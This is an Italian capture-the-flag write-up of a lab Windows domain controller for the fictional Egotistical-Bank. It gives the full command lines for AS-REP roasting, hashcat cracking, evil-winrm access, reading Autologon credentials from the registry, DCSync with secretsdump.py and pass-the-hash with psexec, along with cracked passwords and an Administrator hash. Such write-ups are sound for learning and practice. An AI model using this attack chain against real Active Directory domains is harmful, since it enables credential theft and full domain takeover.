NMAP

Come al solito parto con una scansione nmap di tutte le porte:

nmap -T5 --open -sS -vvv --min-rate=1000 --max-retries=2 -p- -oA full-ports 10.10.10.175

scansione_nmap
scansione nmap

Successivamente ho lanciato una scansione con i flag -sC -sV sulle porte aperte rilevate dalla scansione precedente. Dai risultati della scansione risulta essere attivo il servizio kerberos, si tratta quindi di un domain controller.

OSINT

Visitando il sito web della macchina http://10.10.10.175 nella sezione About Us è possibile trovare una lista di possibili utenti dell’azienda Egotistical-Bank.

sito Egotistical-Bank

Con i nomi e cognomi degli utenti è possibile stilare una lista di username papabili utilizzati nel dominio ActiveDirectory. Solitamente gli amministratori di sistema utilizzano username del tipo fsmith, f.smith, fergussmith ecc. Fsmith è l’utente corretto.

AES-REP ROASTING

Questo attacco è possibile solo nel momento in cui nel domain controller è abilitata l’opzione “Do not require kerberos preauthentication”. C’è da dire che questa opzione NON è abilitata di default nei domain controller. In generale, vale la pena fare un tentativo.

https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat

Se l’opzione è abilitata kerberos emetterà un ticket TGT per l’utente senza l’utilizzo della password. Nel momento in cui viene richiesta la password, premere invio.

GetNPUsers.py egotistical-bank.local/fsmith -dc-ip 10.10.10.175

GetNPUsers.py

A questo punto è possibile decifrare il ticket offline:

hashcat -m18200 tgt.txt /usr/share/wordlists/rockyou.txt --force

hashcatTGT
Crack TGT: Thestrokes23

Reference: https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/

USER FLAG

Avendo a disposizione la password è possibile accedere al controller utilizzando evil-winrm dal momento che la porta 5985 è aperta.

Nota: non è possibile utilizzare psexec in quanto l’utente non dispone dei diritti necessari per scrivere negli share smb.

Evil-winrm permette di eseguire sulla macchina target degli script o dei file eseguibili che vengono posizionati in una cartella della macchina locale.

evil-winrm -i 10.10.10.175 -u fsmith -p 'Thestrokes23' -s './ps1dir'  -e './exedir'

ps1dir ed exedir sono delle cartelle locali in cui è possibile salvare script powershell o file exe da lanciare attraverso evil-winrm. All’interno della cartella ps1dir sono stati salvati PowerView.ps1 e PowerUp.ps1

Con l’accesso alla macchina come utente fsmith è stato possibile prendere il flag user.txt:

A questo punto si può tentare una privilege escalation sul domain controller caricando PowerUp.ps1 e lanciando il comando Invoke-AllChecks per enumerare eventuali attacchi. Digitare PowerUp.ps1 nella shell di evil-winnrm.

Invoke-AllChecks

PowerUp.ps1 – Invoke-AllChecks

E’ possibile vedere come siano presenti delle credenziali di Autologon per l’utenza svc_loanmanager:

Lo stesso risultato può essere ottenuto manualmente con l’ausilio di powershell come segue:

Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Windows AutoLogon

A questo punto è possible accedere alla nuova utenza come fatto in precedenza con evil-winrm.

Il primo tentativo non è andato a buon fine ricevendo un auth error. Eseguendo il comando net user sulla macchina con l’utenza di fsmith è emerso che il nome utente fosse svc_loanmgr:

net user

DCSYNC

Consiste nel mimare la funzionalità di replica di un domain controller, inviando una richiesta di replica delle informazioni contenute all’interno del domain controller tramite il protocollo MS-DRSR Directory Replication Service Remote Protocol. Tra le info replicate ci sono anche gli account degli utenti.

È possibile rendersi conto della fattibilità di questo attacco caricando PowerView.ps1 all’interno di evil-winrm e verificando gli ACL dell’utente svc_loanmgr.

Com’è visibile dall’immagine seguente l’utenza ha i permessi di DS-Replication-Get-Changes e DS-Replication-Get-Changes-All, requisito fondamentale per eseguire DCSync.

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "sac_loanmgr"}

PowerView.ps1 – InvokeACLScanner

secretsdump.py 'egotistical-bank/svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'

secretsdump.py

Reference: https://blog.stealthbits.com/what-is-dcsync-an-introduction/

PASS THE HASH

Con l’hash NTLM dell’account Administrator è possibile accedere al domain controller con psexec utilizzando l’hash invece che la password. 

psexec.py Administrator:@10.10.10.175 -hashes ad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff

Pass The Hash